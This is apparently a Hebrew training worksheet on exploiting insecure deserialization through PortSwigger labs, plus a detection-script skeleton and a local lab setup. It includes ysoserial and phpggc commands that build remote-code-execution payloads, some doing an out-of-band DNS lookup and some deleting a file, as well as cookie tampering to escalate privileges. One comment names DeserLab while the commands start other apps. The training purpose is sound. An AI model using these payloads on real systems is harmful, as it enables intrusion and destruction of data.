לדלג לתוכן

דסריאליזציה מתקדמת - Java - תרגיל

תרגיל 1 - זיהוי דסריאליזציה

משימה

השלימו את המעבדה הבאה ב-PortSwigger:

Modifying serialized objects
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects

שלבים מנחים

  1. התחברו לאפליקציה ובדקו את ה-Cookies ב-Burp
  2. מצאו Cookie שמכיל נתונים מסורלזים (Base64 שמתחיל ב-rO0AB או PHP serialized)
  3. פענחו את הנתונים וזהו את המבנה
  4. שנו את השדות כדי להסלים הרשאות
  5. קודדו מחדש ושלחו

תרגיל 2 - שינוי סוג נתונים

משימה

Modifying serialized data types
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-data-types

שלבים מנחים

  1. בדקו את האובייקט המסורלז ב-Cookie
  2. שנו את סוג הנתונים של שדה מסוים (לדוגמה, ממחרוזת למספר)
  3. נצלו את ההשוואה הרופפת (loose comparison) שהשרת מבצע
  4. השיגו גישה לחשבון אדמין

תרגיל 3 - שימוש בפונקציונליות של האפליקציה

משימה

Using application functionality to exploit insecure deserialization
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-application-functionality-to-exploit-insecure-deserialization

שלבים מנחים

  1. מצאו פונקציונליות באפליקציה שמשתמשת בנתונים מהאובייקט המסורלז
  2. שנו את הנתיב בתוך האובייקט כדי למחוק קובץ קריטי
  3. הפעילו את הפונקציונליות שגורמת לשימוש בנתיב השונה

תרגיל 4 - הזרקת אובייקט שרירותי

משימה

Exploiting Java deserialization with Apache Commons
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-java-deserialization-with-apache-commons

שלבים מנחים

  1. זהו שהאפליקציה משתמשת ב-Java serialization (Magic Bytes)
  2. הורידו את ysoserial
  3. נסו ליצור payload עם שרשרת CommonsCollections:
# יצירת payload שמבצע DNS lookup (לזיהוי)
java -jar ysoserial-all.jar CommonsCollections4 "nslookup YOUR-SUBDOMAIN.burpcollaborator.net" | base64

# אחרי שמזהים שעובד - payload שמוחק את המשתמש
java -jar ysoserial-all.jar CommonsCollections4 "rm /home/carlos/morale.txt" | base64
  1. החליפו את ה-Cookie בנתונים המסורלזים החדשים
  2. שלחו את הבקשה ובדקו שהפקודה הורצה

תרגיל 5 - שרשראות Gadget מותאמות

משימה

Exploiting Ruby deserialization using a documented gadget chain
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-ruby-deserialization-using-a-documented-gadget-chain

שלבים מנחים

  1. זהו את שפת התכנות שהשרת משתמש בה
  2. חפשו שרשרת Gadget מתועדת לשפה/ספרייה הספציפית
  3. בנו את ה-payload בהתאם
  4. קודדו ושלחו

תרגיל 6 - בניית Exploit מותאם

משימה

Developing a custom gadget chain for Java deserialization
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-java-deserialization

שלבים מנחים

  1. חפשו את קוד המקור של האפליקציה (לפעמים זמין ב-sitemap)
  2. נתחו את המחלקות הזמינות ב-classpath
  3. מצאו מחלקה עם readObject() מותאם
  4. עקבו אחרי שרשרת הקריאות עד שמוצאים דרך להריץ קוד
  5. בנו את האובייקט המסורלז ידנית:
import java.io.*;
import java.util.*;

public class CustomExploit {
    public static void main(String[] args) throws Exception {
        // TODO: בנו את שרשרת ה-Gadgets
        // כל מחלקה בשרשרת צריכה להיות Serializable

        // סריאליזציה של ה-payload
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(/* your gadget chain object */);
        oos.close();

        // קידוד Base64
        String encoded = Base64.getEncoder().encodeToString(baos.toByteArray());
        System.out.println(encoded);
    }
}

תרגיל 7 - PHAR דסריאליזציה

משימה

Exploiting PHP deserialization with a pre-built gadget chain
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-php-deserialization-with-a-pre-built-gadget-chain

שלבים מנחים

  1. זהו שהאפליקציה משתמשת בפריימוורק PHP ספציפי
  2. השתמשו ב-phpggc כדי ליצור payload:
# רשימת שרשראות זמינות
./phpggc -l

# יצירת payload
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' -b
  1. מצאו דרך להעביר את ה-payload לדסריאליזציה (Cookie, פרמטר, קובץ)

תרגיל 8 - סקריפט סריקה

משימה

כתבו סקריפט Python שמזהה נקודות דסריאליזציה בבקשות HTTP:

#!/usr/bin/env python3
"""
Java Deserialization Endpoint Scanner
"""
import requests
import base64
import re

# Magic bytes של Java serialization
JAVA_MAGIC = b'\xac\xed\x00\x05'
JAVA_MAGIC_B64 = 'rO0AB'

def check_parameter(value):
    """בדיקה אם ערך פרמטר מכיל נתונים מסורלזים"""
    # TODO: בדקו:
    # 1. האם מתחיל ב-rO0AB (Base64 של Java magic bytes)
    # 2. האם אחרי Base64 decode מתחיל ב-AC ED 00 05
    # 3. האם נראה כמו PHP serialized (O:4:"User":...)
    # 4. האם נראה כמו .NET ViewState
    pass

def scan_request(method, url, headers, body):
    """סריקת בקשת HTTP לזיהוי דסריאליזציה"""
    findings = []

    # TODO: בדקו:
    # 1. Content-Type headers
    # 2. Cookie values
    # 3. URL parameters
    # 4. POST body parameters
    # 5. Custom headers

    return findings

def test_deserialization(url, param, method="GET"):
    """ניסיון ניצול עם URLDNS payload"""
    # TODO:
    # 1. צרו URLDNS payload עם ysoserial
    # 2. שלחו אותו בפרמטר הפגיע
    # 3. בדקו ב-Collaborator אם הגיעה בקשת DNS
    pass

דרישות

  1. הסקריפט צריך לקבל קובץ Burp XML export כקלט
  2. לסרוק את כל הבקשות ולזהות נתונים מסורלזים
  3. לנסות payload של URLDNS על כל נקודה שנמצאה
  4. להדפיס דוח עם הממצאים

תרגיל בונוס - מעבדה מקומית

משימה

הקימו מעבדה מקומית עם אפליקציה פגיעה:

# הרצת DeserLab - מעבדה ייעודית לדסריאליזציה
docker pull bkimminich/juice-shop
docker run -p 3000:3000 bkimminich/juice-shop

# או הרצת WebGoat
docker pull webgoat/webgoat
docker run -p 8080:8080 -p 9090:9090 webgoat/webgoat

משימות

  1. מצאו את נקודת הדסריאליזציה באפליקציה
  2. זהו את הספריות ב-classpath
  3. נסו שרשראות שונות של ysoserial
  4. השיגו RCE
  5. תעדו את כל התהליך

סביבות תרגול נוספות

  • PortSwigger: כל מעבדות ה-Deserialization (כולל Expert)
  • HackTheBox: מכונות עם תגית Java/Deserialization
  • TryHackMe: "Intro to Java Deserialization" room
  • VulnHub: DeserLab